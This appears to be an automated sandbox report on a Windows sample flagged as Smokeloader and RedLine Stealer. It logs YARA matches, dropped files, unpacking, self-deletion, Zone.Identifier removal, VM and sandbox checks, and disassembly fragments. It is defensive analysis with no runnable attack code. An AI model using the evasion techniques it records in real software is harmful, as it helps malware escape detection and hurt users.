Source: 00000009.00000002.2882377555.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000008.00000002.2780540702.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.2369051681.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.2644866394.000000000058D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/4@7/4

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe

Code function: 0_2_005B01D0 CreateToolhelp32Snapshot,Module32First,

0_2_005B01D0

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\teihrdr

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\B9A0.tmp

Jump to behavior

Source: BzLGqYKy7o.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BzLGqYKy7o.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\BzLGqYKy7o.exe "C:\Users\user\Desktop\BzLGqYKy7o.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\teihrdr C:\Users\user\AppData\Roaming\teihrdr
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B9A0.exe C:\Users\user\AppData\Local\Temp\B9A0.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\teihrdr C:\Users\user\AppData\Roaming\teihrdr
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jtihrdr C:\Users\user\AppData\Roaming\jtihrdr
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B9A0.exe C:\Users\user\AppData\Local\Temp\B9A0.exe	Jump to behavior

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: BzLGqYKy7o.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Unpacked PE file: 0.2.BzLGqYKy7o.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.gol:R;.xowujad:R;.xonag:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\teihrdr	Unpacked PE file: 4.2.teihrdr.400000.0.unpack .text:ER;.rdata:R;.data:W;.gol:R;.xowujad:R;.xonag:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Unpacked PE file: 7.2.B9A0.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.fulocu:R;.soro:R;.kefef:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\teihrdr	Unpacked PE file: 8.2.teihrdr.400000.0.unpack .text:ER;.rdata:R;.data:W;.gol:R;.xowujad:R;.xonag:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jtihrdr	Unpacked PE file: 9.2.jtihrdr.400000.0.unpack .text:ER;.rdata:R;.data:W;.fulocu:R;.soro:R;.kefef:W;.rsrc:R; vs .text:EW;

Source: BzLGqYKy7o.exe	Static PE information: section name: .gol
Source: BzLGqYKy7o.exe	Static PE information: section name: .xowujad
Source: BzLGqYKy7o.exe	Static PE information: section name: .xonag
Source: B9A0.exe.2.dr	Static PE information: section name: .fulocu
Source: B9A0.exe.2.dr	Static PE information: section name: .soro
Source: B9A0.exe.2.dr	Static PE information: section name: .kefef
Source: jtihrdr.2.dr	Static PE information: section name: .fulocu
Source: jtihrdr.2.dr	Static PE information: section name: .soro
Source: jtihrdr.2.dr	Static PE information: section name: .kefef
Source: teihrdr.2.dr	Static PE information: section name: .gol
Source: teihrdr.2.dr	Static PE information: section name: .xowujad
Source: teihrdr.2.dr	Static PE information: section name: .xonag

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_004014D9 pushad ; ret	0_2_004014E9
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_004031DB push eax; ret	0_2_004032AB
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_004E1540 pushad ; ret	0_2_004E1550
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_005B3C29 push esp; ret	0_2_005B3C2B
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_005B2AC9 pushfd ; iretd	0_2_005B2ACA
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_005B1FCC push B63524ADh; retn 001Fh	0_2_005B2003
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_004014D9 pushad ; ret	4_2_004014E9
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_004031DB push eax; ret	4_2_004032AB
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00601540 pushad ; ret	4_2_00601550
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_006A33F1 push esp; ret	4_2_006A33F3
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_006A2291 pushfd ; iretd	4_2_006A2292
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_006A1794 push B63524ADh; retn 001Fh	4_2_006A17CB
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_0040100B push esi; ret	7_2_0040100C
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_0040280E push esp; ret	7_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_0040281F push esp; ret	7_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_00402822 push esp; ret	7_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_00401328 push edi; retf	7_2_0040132A
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004027ED push esp; ret	7_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004027FB push esp; ret	7_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_005A1A58 push 9A832F1Fh; iretd	7_2_005A1A5E
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_0059FFD3 push esi; ret	7_2_0059FFD4
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_005A02EA push edi; retf	7_2_005A02EB
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA2889 push esp; ret	7_2_01FA2A2D
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA1386 push edi; retf	7_2_01FA1391
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA2886 push esp; ret	7_2_01FA2A2D
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA1072 push esi; ret	7_2_01FA1073
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA2875 push esp; ret	7_2_01FA2A2D
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA2862 push esp; ret	7_2_01FA2A2D
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA2854 push esp; ret	7_2_01FA2A2D
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_01FA1909 push esp; iretd	7_2_01FA19BF
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_004014D9 pushad ; ret	8_2_004014E9

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B9A0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\teihrdr	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jtihrdr	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jtihrdr			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\teihrdr			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\bzlgqyky7o.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\teihrdr:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\jtihrdr:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\teihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jtihrdr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	API/Special instruction interceptor: Address: 7FF8C88ED584
Source: C:\Users\user\AppData\Roaming\teihrdr	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\AppData\Roaming\teihrdr	API/Special instruction interceptor: Address: 7FF8C88ED584
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	API/Special instruction interceptor: Address: 7FF8C88ED584
Source: C:\Users\user\AppData\Roaming\jtihrdr	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\AppData\Roaming\jtihrdr	API/Special instruction interceptor: Address: 7FF8C88ED584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: jtihrdr, 00000009.00000002.2882496618.000000000056E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK*
Source: BzLGqYKy7o.exe, 00000000.00000002.2132466453.000000000058E000.00000004.00000020.00020000.00000000.sdmp, B9A0.exe, 00000007.00000002.2644794395.000000000057E000.00000004.00000020.00020000.00000000.sdmp, teihrdr, 00000008.00000002.2780667881.0000000000727000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 424	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 785	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 561	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 732	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 886	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 867	Jump to behavior

Source: C:\Windows\explorer.exe TID: 344	Thread sleep count: 424 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5052	Thread sleep count: 785 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5052	Thread sleep time: -78500s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2788	Thread sleep count: 561 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2788	Thread sleep time: -56100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1292	Thread sleep count: 246 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1272	Thread sleep count: 267 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1784	Thread sleep count: 275 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5580	Thread sleep count: 170 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5524	Thread sleep count: 111 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1408	Thread sleep count: 82 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5260	Thread sleep count: 164 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4308	Thread sleep count: 115 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5052	Thread sleep count: 732 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5052	Thread sleep time: -73200s >= -30000s	Jump to behavior

Source: explorer.exe, 00000002.00000000.2117666934.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000002.00000000.2119469337.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2116701532.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000002.00000000.2116701532.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000002.00000000.2115964908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: explorer.exe, 00000002.00000000.2117666934.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000002.00000000.2116701532.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000002.00000000.2116701532.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0#{5-
Source: explorer.exe, 00000002.00000000.2115964908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
